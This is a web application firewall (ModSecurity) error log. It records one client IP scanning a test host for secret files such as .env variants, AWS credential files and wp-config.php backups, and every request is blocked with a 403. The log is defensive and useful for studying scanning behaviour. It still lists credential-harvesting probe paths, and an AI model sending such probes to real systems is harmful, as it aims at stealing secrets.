[Sun Jul 20 17:01:34.937384 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/app/.env&quot;] [unique_id &quot;aH0EzoxoTuBEoACPPcEUUwAAAA0&quot;]
[Sun Jul 20 17:01:34.937613 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/app/.env&quot;] [unique_id &quot;aH0EzoxoTuBEoACPPcEUUwAAAA0&quot;]
[Sun Jul 20 17:01:34.937781 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/app/.env&quot;] [unique_id &quot;aH0EzoxoTuBEoACPPcEUUwAAAA0&quot;]
[Sun Jul 20 17:01:34.979285 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aH0EzoxoTuBEoACPPcEUVQAAAA0&quot;]
[Sun Jul 20 17:01:34.979543 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aH0EzoxoTuBEoACPPcEUVQAAAA0&quot;]
[Sun Jul 20 17:01:34.979726 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aH0EzoxoTuBEoACPPcEUVQAAAA0&quot;]
[Sun Jul 20 17:01:34.999859 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /root/.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.aws/credentials&quot;] [unique_id &quot;aH0EzoxoTuBEoACPPcEUVgAAAA0&quot;]
[Sun Jul 20 17:01:35.000099 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.aws/credentials&quot;] [unique_id &quot;aH0EzoxoTuBEoACPPcEUVgAAAA0&quot;]
[Sun Jul 20 17:01:35.000289 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.aws/credentials&quot;] [unique_id &quot;aH0EzoxoTuBEoACPPcEUVgAAAA0&quot;]
[Sun Jul 20 17:01:35.062477 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.development.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development.local&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUWQAAAA0&quot;]
[Sun Jul 20 17:01:35.062804 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development.local&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUWQAAAA0&quot;]
[Sun Jul 20 17:01:35.062987 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development.local&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUWQAAAA0&quot;]
[Sun Jul 20 17:01:35.083321 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUWgAAAA0&quot;]
[Sun Jul 20 17:01:35.083574 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUWgAAAA0&quot;]
[Sun Jul 20 17:01:35.083756 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUWgAAAA0&quot;]
[Sun Jul 20 17:01:35.104243 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUWwAAAA0&quot;]
[Sun Jul 20 17:01:35.104423 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUWwAAAA0&quot;]
[Sun Jul 20 17:01:35.104645 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUWwAAAA0&quot;]
[Sun Jul 20 17:01:35.104835 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUWwAAAA0&quot;]
[Sun Jul 20 17:01:35.125130 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.orig&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.orig&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUXAAAAA0&quot;]
[Sun Jul 20 17:01:35.125404 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.orig&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUXAAAAA0&quot;]
[Sun Jul 20 17:01:35.125579 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.orig&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUXAAAAA0&quot;]
[Sun Jul 20 17:01:35.145882 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.bak1&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak1&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUXQAAAA0&quot;]
[Sun Jul 20 17:01:35.146126 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak1&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUXQAAAA0&quot;]
[Sun Jul 20 17:01:35.146304 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak1&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUXQAAAA0&quot;]
[Sun Jul 20 17:01:35.166605 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /wp-content/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.env&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUXgAAAA0&quot;]
[Sun Jul 20 17:01:35.166850 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.env&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUXgAAAA0&quot;]
[Sun Jul 20 17:01:35.167041 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.env&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUXgAAAA0&quot;]
[Sun Jul 20 17:01:35.208200 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.php.bak&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUYAAAAA0&quot;]
[Sun Jul 20 17:01:35.208540 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.php.bak&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUYAAAAA0&quot;]
[Sun Jul 20 17:01:35.208713 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.php.bak&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUYAAAAA0&quot;]
